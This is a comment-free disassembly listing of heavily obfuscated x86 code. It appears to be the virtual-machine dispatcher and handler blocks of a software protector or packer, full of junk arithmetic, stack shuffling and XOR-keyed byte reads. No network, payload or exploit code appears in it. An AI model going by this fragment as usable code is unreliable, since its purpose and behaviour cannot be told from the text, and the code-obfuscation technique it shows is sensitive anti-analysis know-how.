loc_574C50:				; CODE XREF: ud2_____:0057C24Ej
		pop	dword ptr [esp]
		pop	esp
		mov	fs:[edx], ax
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_574C5D:				; CODE XREF: ud2_____:005752C5j
		push	eax
		jmp	loc_579FD6
; ---------------------------------------------------------------------------


loc_574C63:				; CODE XREF: ud2_____:005794CDj
		mov	[esp], edx
		mov	edx, 10893D05h
		mov	esi, edx
		pop	edx
		shl	esi, 3
		jmp	loc_57C0DB
; ---------------------------------------------------------------------------


loc_574C76:				; CODE XREF: ud2_____:005729DCj
		pop	eax
		add	eax, 4
		push	5834h
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		push	30BFh
		jmp	loc_575A55
; ---------------------------------------------------------------------------


loc_574C96:				; CODE XREF: ud2_____:0057BC0Fj
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_574C9B:				; CODE XREF: ud2_____:0057D47Cj
		mov	[esp], ecx
		mov	ecx, 79E15B3Eh
		add	eax, 50050A96h
		push	esi
		mov	esi, 1CC03066h
		push	esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_57C69D
; ---------------------------------------------------------------------------


loc_574CB8:				; CODE XREF: ud2_____:00576227j
		mov	ebp, 74632E45h
		sub	edx, ebp
		pop	ebp
		add	edx, edi
		jmp	loc_57381D
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	esi
		push	7A40h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_573C1F
; ---------------------------------------------------------------------------


loc_574CDD:				; CODE XREF: ud2_____:0057BBFFj
		push	eax
		mov	eax, 4DF2177Eh
		sub	[esp+4], eax
		pop	eax
		jmp	loc_5779DC
; ---------------------------------------------------------------------------


loc_574CED:				; CODE XREF: ud2_____:00576AABj
		sub	ebp, 63432304h
		sub	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 80h
		and	ecx, ebx
		mov	ebx, [esp]
		push	ebx
		push	4C8Fh
		mov	[esp], esp
		jmp	loc_57651B
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		jmp	loc_576EE5
; ---------------------------------------------------------------------------


loc_574D1F:				; CODE XREF: ud2_____:0057206Dj
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		jmp	loc_57A87F
; ---------------------------------------------------------------------------


loc_574D31:				; CODE XREF: ud2_____:00579943j
		add	edx, 3FE63F7Fh
		sub	edx, ecx
		sub	edx, 3FE63F7Fh
		mov	ecx, [esp]
		add	esp, 4
		add	edi, edx
		pop	edx
		push	ebp
		mov	ebp, 2
		add	edi, ebp
		jmp	loc_572F35
; ---------------------------------------------------------------------------


loc_574D55:				; CODE XREF: ud2_____:00577F3Dj
		push	ecx
		mov	cl, 14h
		sub	esp, 2
		mov	[esp], dx
		mov	dh, 0E4h
		add	dh, 11h
		add	cl, dh
		pop	dx
		shr	cl, 3
		shr	cl, 8
		dec	cl
		push	eax
		jmp	loc_57613D
; ---------------------------------------------------------------------------


loc_574D79:				; CODE XREF: ud2_____:005733B6j
		xor	eax, ebp
		pop	ebp
		jmp	loc_579C4D
; ---------------------------------------------------------------------------


loc_574D81:				; CODE XREF: ud2_____:0057DA35j
		xor	ebx, 828BBB3Bh
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, edi
		add	eax, 27CD4F87h
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5743A9
; ---------------------------------------------------------------------------


loc_574DA8:				; CODE XREF: ud2_____:00573832j
		push	eax
		jmp	loc_578B5E
; ---------------------------------------------------------------------------


loc_574DAE:				; CODE XREF: ud2_____:005772FEj
		push	dx
		mov	dh, 78h
		jmp	loc_577D7D
; ---------------------------------------------------------------------------


loc_574DB7:				; CODE XREF: ud2_____:0057BC57j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		jmp	loc_572B53
; ---------------------------------------------------------------------------


loc_574DD5:				; CODE XREF: ud2_____:00575C4Fj
		pop	esi
		push	edi
		push	ebp
		jmp	loc_5725F5
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	small 2D8h
		mov	[esp], ax
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_574DEE:				; CODE XREF: ud2_____:0057984Aj
		add	esp, 4
		pop	ebp
		sub	ebp, eax
		pop	eax
		xor	ebp, 0E39C9A6Fh
		jmp	loc_57C830
; ---------------------------------------------------------------------------


loc_574E00:				; CODE XREF: ud2_____:0057A667j
		mov	eax, ebp
		pop	ebp
		mov	ecx, 0C6BF2EE9h
		add	ecx, eax
		pop	eax
		jmp	loc_57923D
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_574E18:				; CODE XREF: ud2_____:005787BDj
		push	ebp
		push	ebx
		jmp	loc_577538
; ---------------------------------------------------------------------------


loc_574E1F:				; CODE XREF: ud2_____:00579CAEj
		pop	esi
		push	eax
		mov	eax, 5A225E94h
		sub	ebx, eax
		pop	eax
		add	ebx, 65C942E5h
		add	ebx, eax
		push	ecx
		mov	ecx, 7C53299Eh
		sub	ecx, 1689E6B9h
		jmp	loc_57AFD7
; ---------------------------------------------------------------------------


loc_574E42:				; CODE XREF: ud2_____:00575B1Fj
		add	ebp, 4
		jmp	loc_578DC6
; ---------------------------------------------------------------------------


loc_574E4D:				; CODE XREF: ud2_____:005776DAj
		push	edi
		push	ebx
		jmp	loc_578160
; ---------------------------------------------------------------------------


loc_574E54:				; CODE XREF: ud2_____:005725B9j
		xor	al, bl
		push	4411h
		mov	[esp], ebx
		push	4878h
		mov	[esp], ecx
		jmp	loc_578192
; ---------------------------------------------------------------------------


loc_574E6B:				; CODE XREF: ud2_____:0057AE03j
		pop	edi
		sub	esp, 4
		jmp	loc_5774AB
; ---------------------------------------------------------------------------


loc_574E74:				; CODE XREF: ud2_____:0057639Dj
		mov	[esp], edi
		push	1F1Eh
		mov	[esp], esi
		pop	edi
		jmp	loc_572E55
; ---------------------------------------------------------------------------


loc_574E85:				; CODE XREF: ud2_____:00571BECj
		pop	ecx
		pop	ebp
		not	ebp
		jmp	loc_57A371
; ---------------------------------------------------------------------------


loc_574E8E:				; CODE XREF: ud2_____:00573746j
		pop	edi
		jmp	loc_575B42
; ---------------------------------------------------------------------------


loc_574E94:				; CODE XREF: ud2_____:00573ABCj
		add	esp, 4
		push	4047h
		mov	[esp], eax
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_574EA7:				; CODE XREF: ud2_____:0057741Ej
		pop	ebx
		or	[edi+1Ch], ecx
		mov	ecx, [esp]
		add	esp, 4


loc_574EB4:				; CODE XREF: ud2_____:0057758Fj
		push	1AEEh
		jmp	loc_57CFA0
; ---------------------------------------------------------------------------


loc_574EBE:				; CODE XREF: ud2_____:00577075j
		pop	ebx
		xor	ebx, 0CED6A93Ah
		sub	esi, ebx
		pop	ebx
		push	5DE6h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 7E7661F2h
		push	eax
		mov	eax, 7E7661F2h
		mov	ebx, eax
		pop	eax
		xor	ebx, edi
		push	dword ptr [esp]
		pop	edi
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_57A9CB
; ---------------------------------------------------------------------------


loc_574F19:				; CODE XREF: ud2_____:00575809j
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		push	3576h
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_5766B1
; ---------------------------------------------------------------------------


loc_574F31:				; CODE XREF: ud2_____:005759CCj
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_57318C
; ---------------------------------------------------------------------------


loc_574F3D:				; CODE XREF: ud2_____:0057268Aj
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_578DAE
; ---------------------------------------------------------------------------


loc_574F48:				; CODE XREF: ud2_____:0057466Fj
		pop	edx
		add	ecx, edi
		jmp	loc_57B30D
; ---------------------------------------------------------------------------


loc_574F50:				; CODE XREF: ud2_____:0057BBB4j
		push	esp
		jmp	loc_57C4B7
; ---------------------------------------------------------------------------


loc_574F56:				; CODE XREF: ud2_____:00578FA1j
		mov	esi, 74C2C8Bh
		xor	esi, eax
		jmp	loc_57CDA3
; ---------------------------------------------------------------------------


loc_574F62:				; CODE XREF: ud2_____:0057A87Aj
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5763CD
; ---------------------------------------------------------------------------


loc_574F72:				; CODE XREF: ud2_____:00574B4Dj
		pop	eax
		neg	esi
		sub	esi, 423917AFh
		xor	esi, 1D892D73h
		xor	ebp, esi
		pop	esi
		shr	ebp, 4
		shr	ebp, 2
		jmp	loc_57B246
; ---------------------------------------------------------------------------


loc_574F8F:				; CODE XREF: ud2_____:0057ACDEj
		mov	[esp], ecx
		push	esi
		mov	esi, 5892685h
		mov	ecx, esi
		pop	esi
		and	ecx, 14AF5788h
		not	ecx
		push	ebp
		mov	ebp, 2D361DAAh
		sub	ebp, 6F516764h
		jmp	loc_57398D
; ---------------------------------------------------------------------------


loc_574FB4:				; CODE XREF: ud2_____:00572A33j
		or	eax, eax
		jmp	loc_57D8A2
; ---------------------------------------------------------------------------


loc_574FBB:				; CODE XREF: ud2_____:00579872j
		shl	edi, 3
		jmp	loc_57A911
; ---------------------------------------------------------------------------


loc_574FC3:				; CODE XREF: ud2_____:00576F44j
		neg	al
		shl	al, 3
		sub	al, 61h
		mov	bl, al
		pop	eax
		mov	ch, 0A5h
		sub	ch, bl
		pop	ebx
		push	dx
		push	ecx
		jmp	loc_5722D5
; ---------------------------------------------------------------------------


loc_574FDA:				; CODE XREF: ud2_____:00575E1Dj
		mov	cl, ah
		mov	dh, cl
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_571F72
; ---------------------------------------------------------------------------


loc_574FE9:				; CODE XREF: ud2_____:005765DFj
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_57D6D3
; ---------------------------------------------------------------------------


loc_574FFC:				; CODE XREF: ud2_____:005793C7j
		xchg	ebp, [esp]
		pop	esp
		xchg	ebx, [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57500F:				; CODE XREF: ud2_____:0057B3AAj
		push	edi
		jmp	loc_5725D5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_57BF31
; ---------------------------------------------------------------------------


loc_575026:				; CODE XREF: ud2_____:005791E8j
		push	65C1h
		mov	[esp], edx
		push	ebx
		jmp	loc_5784C2
; ---------------------------------------------------------------------------


loc_575034:				; CODE XREF: ud2_____:0057D0BCj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5782AF
; ---------------------------------------------------------------------------


loc_575040:				; CODE XREF: ud2_____:0057A3DAj
		pop	eax
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		jmp	loc_57BAD7
; ---------------------------------------------------------------------------


loc_57504F:				; CODE XREF: ud2_____:0057207Dj
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]


loc_575069:				; CODE XREF: ud2_____:0057B44Cj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		add	dword ptr [esp], 266D7AFEh
		push	dword ptr [esp]
		jmp	loc_57729F
; ---------------------------------------------------------------------------


loc_575093:				; CODE XREF: ud2_____:00574ABEj
		add	esi, ebx
		jmp	loc_573060
; ---------------------------------------------------------------------------


loc_57509A:				; CODE XREF: ud2_____:0057C175j
		push	ecx
		push	edi
		mov	edi, 4BCD193Ah
		jmp	loc_575712
; ---------------------------------------------------------------------------


loc_5750A6:				; CODE XREF: ud2_____:00579AB3j
		pop	ebp
		not	edx
		neg	edx
		jmp	loc_57D308
; ---------------------------------------------------------------------------


loc_5750B0:				; CODE XREF: ud2_____:0057483Fj
		mov	[esp], eax
		jmp	loc_57C2A2
; ---------------------------------------------------------------------------


loc_5750B8:				; CODE XREF: ud2_____:00574029j
		mov	ecx, 3CF224A4h
		xor	eax, ecx
		pop	ecx
		push	6E80h
		mov	[esp], ebp
		mov	ebp, 53C17B94h
		xor	eax, ebp
		pop	ebp
		sub	edx, eax
		pop	eax
		jmp	loc_57C84A
; ---------------------------------------------------------------------------


loc_5750D8:				; CODE XREF: ud2_____:00571BC1j
		sub	eax, 43FA395Eh
		jmp	loc_578BB6
; ---------------------------------------------------------------------------


loc_5750E2:				; CODE XREF: ud2_____:0057844Cj
		mov	esi, 1FE87C81h
		jmp	loc_571D44
; ---------------------------------------------------------------------------


loc_5750EC:				; CODE XREF: ud2_____:00578C4Ej
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_57B2D6
; ---------------------------------------------------------------------------


loc_5750FA:				; CODE XREF: ud2_____:00575A8Bj
		mov	ch, 51h
		add	ch, bl
		pop	ebx
		shl	ch, 2
		neg	ch
		push	edx
		mov	dh, 0E2h
		add	ch, dh
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		and	ch, 0E4h
		inc	ch
		jmp	loc_575A1E
; ---------------------------------------------------------------------------


loc_575126:				; CODE XREF: ud2_____:00573CB9j
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 2B097883h
		not	edx
		sub	edx, 0D4F68778h
		add	esi, edx
		jmp	loc_57DC7C
; ---------------------------------------------------------------------------


loc_575141:				; CODE XREF: ud2_____:00574A2Aj
		dec	ebx
		dec	ebx
		jmp	loc_57C0A0
; ---------------------------------------------------------------------------


loc_575148:				; CODE XREF: ud2_____:005793FCj
		and	esi, 70F3AFEh
		sub	esi, 72CC7003h
		jmp	loc_574C24
; ---------------------------------------------------------------------------


loc_575159:				; CODE XREF: ud2_____:00575F6Aj
		push	esi
		mov	esi, esp
		jmp	loc_573B13
; ---------------------------------------------------------------------------


loc_575161:				; CODE XREF: ud2_____:0057C4A5j
		mov	[esp], esi
		push	ecx
		push	47C7h
		jmp	loc_5745FB
; ---------------------------------------------------------------------------


loc_57516F:				; CODE XREF: ud2_____:0057B1A4j
		pop	esp
		sub	esp, 4
		jmp	loc_57636A
; ---------------------------------------------------------------------------


loc_575178:				; CODE XREF: ud2_____:00576744j
		mov	al, 68h
		push	ebx
		push	ecx
		mov	cl, al
		push	edx
		jmp	loc_57AC76
; ---------------------------------------------------------------------------


loc_575184:				; CODE XREF: ud2_____:0057CCDBj
		mov	edx, 2C9751CCh
		sub	edx, 117B676Ah
		and	edx, 27425FF6h
		neg	edx
		and	edx, 429A3A16h
		or	edx, 58A232D6h
		push	ebp
		mov	ebp, 69791683h
		xor	ebp, 16D9092Ch
		neg	ebp
		shr	ebp, 4
		push	edx
		jmp	loc_57411E
; ---------------------------------------------------------------------------


loc_5751BA:				; CODE XREF: ud2_____:00571B54j
		add	ecx, 539C58D8h
		xor	ecx, 683BB945h
		add	ebp, 73C851F3h
		add	ebp, ecx
		push	esi
		mov	esi, 73C851F3h
		sub	ebp, esi
		pop	esi
		pop	ecx
		sub	ebp, 4
		jmp	loc_579C39
; ---------------------------------------------------------------------------


loc_5751E0:				; CODE XREF: ud2_____:0057B516j
		sub	eax, edi
		push	dword ptr [esp]
		jmp	loc_57C33A
; ---------------------------------------------------------------------------


loc_5751EA:				; CODE XREF: ud2_____:005770BFj
		mov	esi, 345B0336h
		sub	esi, 54E0344Fh
		and	esi, 0E827FECh
		push	edx
		mov	edx, 61D23B3Ch
		and	esi, edx
		pop	edx
		jmp	loc_57296A
; ---------------------------------------------------------------------------


loc_575209:				; CODE XREF: ud2_____:00573856j
		pop	esp
		xor	ebx, eax
		push	ebp
		mov	ebp, 6E7F143Fh
		push	edi
		mov	edi, 4E1F55D4h
		xor	edi, 528F567Ah
		jmp	loc_571E07
; ---------------------------------------------------------------------------


loc_575223:				; CODE XREF: ud2_____:005733E4j
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		jmp	loc_57C3EF
; ---------------------------------------------------------------------------


loc_575230:				; CODE XREF: ud2_____:00577F30j
		pop	eax
		pop	ecx
		push	ebp
		mov	ebp, 4C775875h
		jmp	loc_57718D
; ---------------------------------------------------------------------------


loc_57523D:				; CODE XREF: ud2_____:005737D5j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		and	ecx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		shr	ecx, 6
		push	4C01h
		mov	[esp], esi
		mov	esi, ebx
		mov	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	ecx
		push	esp
		pop	ecx
		sub	esp, 4
		jmp	loc_579A60
; ---------------------------------------------------------------------------


loc_575281:				; CODE XREF: ud2_____:0057A79Ej
		inc	ecx
		not	ecx
		add	ecx, 6A68591Fh
		push	edx
		mov	edx, 4D7F6B38h
		add	edx, 0BBF1A326h
		xor	ecx, edx
		pop	edx
		and	ecx, 36F747B2h
		dec	ecx
		neg	ecx
		inc	ecx
		jmp	loc_573800
; ---------------------------------------------------------------------------


loc_5752A8:				; CODE XREF: ud2_____:0057D375j
		sub	edx, ebx
		pop	ebx
		sub	edx, 7A7701BEh
		add	edx, eax
		jmp	loc_57933F
; ---------------------------------------------------------------------------


loc_5752B8:				; CODE XREF: ud2_____:0057330Dj
		xor	edx, 477D1EB5h
		jmp	loc_5787E1
; ---------------------------------------------------------------------------


loc_5752C3:				; CODE XREF: ud2_____:00573E61j
		dec	bl
		jmp	loc_574C5D
; ---------------------------------------------------------------------------


loc_5752CA:				; CODE XREF: ud2_____:00574287j
		neg	ebp
		xor	ebp, 0A800224h
		jmp	loc_575725
; ---------------------------------------------------------------------------


loc_5752D7:				; CODE XREF: ud2_____:0057AFE0j
		sub	ebx, 606A5398h
		push	edi
		push	ecx
		push	593877A0h
		jmp	loc_5762D9
; ---------------------------------------------------------------------------


loc_5752E9:				; CODE XREF: ud2_____:0057A353j
		sub	ecx, esi
		pop	esi
		sub	ecx, 6B0C59ECh
		xor	ecx, 0B64D1EDBh
		sub	eax, ecx
		jmp	loc_578C1E
; ---------------------------------------------------------------------------


loc_5752FF:				; CODE XREF: ud2_____:00574758j
					; ud2_____:00578D67j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_57205F
; ---------------------------------------------------------------------------


loc_57530D:				; CODE XREF: ud2_____:00577514j
		pop	ecx
		xchg	edx, [esp]
		jmp	loc_573101
; ---------------------------------------------------------------------------


loc_575316:				; CODE XREF: ud2_____:00572A9Dj
		sub	ebp, edx
		jmp	loc_57BB09
; ---------------------------------------------------------------------------


loc_57531D:				; CODE XREF: ud2_____:0057D53Dj
		add	edi, 4
		add	edi, 4
		push	2A67h
		mov	[esp], edi
		jmp	loc_579F52
; ---------------------------------------------------------------------------


loc_575336:				; CODE XREF: ud2_____:00573D61j
		push	ecx
		jmp	loc_57ABBA
; ---------------------------------------------------------------------------


loc_57533C:				; CODE XREF: ud2_____:0057D318j
		add	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	ebx, eax
		sub	ebx, 468E1595h
		jmp	loc_577EC1
; ---------------------------------------------------------------------------


loc_575355:				; CODE XREF: ud2_____:005791ADj
		mov	ecx, eax
		pop	eax
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 60C27916h
		sub	ebx, eax
		sub	ebx, 60C27916h
		push	595Ch
		jmp	loc_572CEE
; ---------------------------------------------------------------------------


loc_575378:				; CODE XREF: ud2_____:00573246j
		not	dword ptr [esp]
		pop	edx
		jmp	loc_575F7D
; ---------------------------------------------------------------------------


loc_575381:				; CODE XREF: ud2_____:00573253j
		xchg	eax, [esp]
		mov	esp, [esp]
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5753A7:				; CODE XREF: ud2_____:00574A6Dj
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5753AC:				; CODE XREF: ud2_____:0057CB4Cj
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		jmp	loc_572AC1
; ---------------------------------------------------------------------------


loc_5753BB:				; CODE XREF: ud2_____:0057469Fj
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	edx, eax
		jmp	loc_5795A6
; ---------------------------------------------------------------------------


loc_5753C8:				; CODE XREF: ud2_____:0057650Bj
		mov	[ebx], ch
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_57220A
; ---------------------------------------------------------------------------


loc_5753D3:				; CODE XREF: ud2_____:005720E9j
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5735CB
		push	dword ptr [edi+28h]
		jmp	loc_576D32
; ---------------------------------------------------------------------------


loc_5753E6:				; CODE XREF: ud2_____:00571DB3j
		xor	[esp], esi
		jmp	loc_574532
; ---------------------------------------------------------------------------


loc_5753EE:				; CODE XREF: ud2_____:00571C5Fj
		push	ebx
		mov	ebx, 4135C7Eh
		and	ebx, 70221F2Dh
		shr	ebx, 7
		add	ebx, 0FFFFFBCCh
		add	edx, ebx
		pop	ebx
		xor	edx, [esp]
		jmp	loc_57C2BA
; ---------------------------------------------------------------------------


loc_57540E:				; CODE XREF: ud2_____:005757A6j
		mov	cx, [esp]
		jmp	loc_57AC48
; ---------------------------------------------------------------------------


loc_575417:				; CODE XREF: ud2_____:0057415Aj
		add	esp, 4
		jmp	loc_57594F
; ---------------------------------------------------------------------------


loc_575422:				; CODE XREF: ud2_____:005780AAj
		pop	eax
		push	ebp
		mov	ebp, 36C237E2h
		push	eax
		mov	eax, 2B7A34ECh
		jmp	loc_574871
; ---------------------------------------------------------------------------


loc_575434:				; CODE XREF: ud2_____:005729BFj
		pop	ecx
		add	edx, 2240791Fh
		jmp	loc_5765E4
; ---------------------------------------------------------------------------


loc_575440:				; CODE XREF: ud2_____:0057383Cj
		add	eax, 0C53CFEE1h
		add	esi, eax
		pop	eax
		pop	edi
		xchg	esi, [esp]
		pop	esp
		btc	[esp], ax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_575458:				; CODE XREF: ud2_____:00574404j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	[esp], eax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57546C:				; CODE XREF: ud2_____:00576B4Fj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 2
		jmp	loc_579FB6
; ---------------------------------------------------------------------------


loc_5754A1:				; CODE XREF: ud2_____:0057945Cj
		sub	ebp, 5808A3FFh
		sub	eax, 14C755E2h
		add	eax, ebp
		add	eax, 14C755E2h
		jmp	loc_57C60F
; ---------------------------------------------------------------------------


loc_5754B8:				; CODE XREF: ud2_____:00578A5Aj
		add	esp, 4
		sub	eax, 0DA69A7h
		add	eax, 52C12BB2h
		sub	eax, ebx
		jmp	loc_5795D9
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0BC1297Fh
		push	edx
		mov	edx, 7FA2CF5h
		add	eax, edx
		jmp	loc_5766B9
; ---------------------------------------------------------------------------


loc_5754E7:				; CODE XREF: ud2_____:00571D3Fj
		neg	ebx
		xor	ebx, 0CCF51BFDh
		add	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		push	7CF5h
		jmp	loc_57CF20
; ---------------------------------------------------------------------------


loc_5754FF:				; CODE XREF: ud2_____:0057867Aj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	1092h
		mov	[esp], edx
		mov	edx, 7701630h
		push	esi
		mov	esi, 21C63130h
		add	edx, esi
		pop	esi
		inc	edx
		shr	edx, 5
		add	edx, 77AD81D7h
		jmp	loc_57626C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_575750
; ---------------------------------------------------------------------------


loc_575551:				; CODE XREF: ud2_____:0057C2CEj
		sub	ebp, 2E2522D1h
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_57A0AB
; ---------------------------------------------------------------------------


loc_57556A:				; CODE XREF: ud2_____:005757B4j
		and	eax, 1F213662h
		and	eax, 51025F54h
		xor	eax, 5A5C4B83h
		push	eax
		push	6C38h
		mov	[esp], ebx
		mov	ebx, 477D2ABFh
		add	[esp+4], ebx
		pop	ebx
		pop	edi
		sub	edi, 477D2ABFh
		pop	eax
		shl	edi, 1
		push	edx
		push	0C08CBC6Dh
		mov	edx, [esp]
		add	esp, 4
		xor	edi, edx
		pop	edx
		sub	ebx, edi
		pop	edi
		push	4C75h
		mov	[esp], esi
		jmp	loc_572481
; ---------------------------------------------------------------------------


loc_5755B5:				; CODE XREF: ud2_____:0057A5A7j
		mov	dl, 0AEh
		not	dl
		add	dl, 8Ah
		sub	dl, 70h
		dec	dl
		add	dl, 0FFh
		sub	dl, 0E2h
		xor	cl, dl
		pop	edx
		neg	cl
		add	cl, 20h
		xor	al, cl
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		push	edx
		jmp	loc_572178
; ---------------------------------------------------------------------------


loc_5755E0:				; CODE XREF: ud2_____:0057DB5Bj
		add	ebp, 53471DAh
		push	ecx
		mov	ecx, 188B7D8Dh
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		not	ecx
		jmp	loc_57AD5C
; ---------------------------------------------------------------------------


loc_5755F8:				; CODE XREF: ud2_____:0057A7B2j
		pop	edx
		jmp	loc_574A28
; ---------------------------------------------------------------------------


loc_5755FE:				; CODE XREF: ud2_____:00579BCEj
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 10195754h
		jmp	loc_576274
; ---------------------------------------------------------------------------


loc_575614:				; CODE XREF: ud2_____:0057211Dj
		xor	[esp], ebp
		jmp	loc_57CAC5
; ---------------------------------------------------------------------------


loc_57561C:				; CODE XREF: ud2_____:00572433j
		push	edi
		not	dword ptr [esp]
		jmp	loc_57AD50
; ---------------------------------------------------------------------------


loc_575625:				; CODE XREF: ud2_____:0057C1BEj
		push	ebx
		jmp	loc_5791F4
; ---------------------------------------------------------------------------


loc_57562B:				; CODE XREF: ud2_____:005766BCj
		sub	eax, 7FA2CF5h
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_572875
; ---------------------------------------------------------------------------


loc_575650:				; CODE XREF: ud2_____:00575C88j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_575655:				; CODE XREF: ud2_____:0057454Aj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 7A3D539Dh
		jmp	loc_57DCCD
; ---------------------------------------------------------------------------


loc_575677:				; CODE XREF: ud2_____:00578DA9j
		mov	[esp], ecx
		mov	ecx, 31B723D8h
		sub	ecx, 31B723D4h
		add	edi, ecx
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_57DD02
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	346Dh
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		jmp	loc_578C41
; ---------------------------------------------------------------------------


loc_5756B6:				; CODE XREF: ud2_____:00575ADEj
		and	al, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57B357
; ---------------------------------------------------------------------------


loc_5756C3:				; CODE XREF: ud2_____:0057471Dj
		sub	edi, 58B10BA1h
		sub	edi, 0F44FE86Bh
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5756DE:				; CODE XREF: ud2_____:0057931Bj
		not	edx
		xor	edx, 66122C4Bh
		add	edi, 4CCE4BC4h
		sub	edi, edx
		sub	edi, 4CCE4BC4h
		pop	edx
		push	esi
		mov	esi, 7FD70B5Ch
		add	edi, esi
		pop	esi
		jmp	loc_571CED
; ---------------------------------------------------------------------------


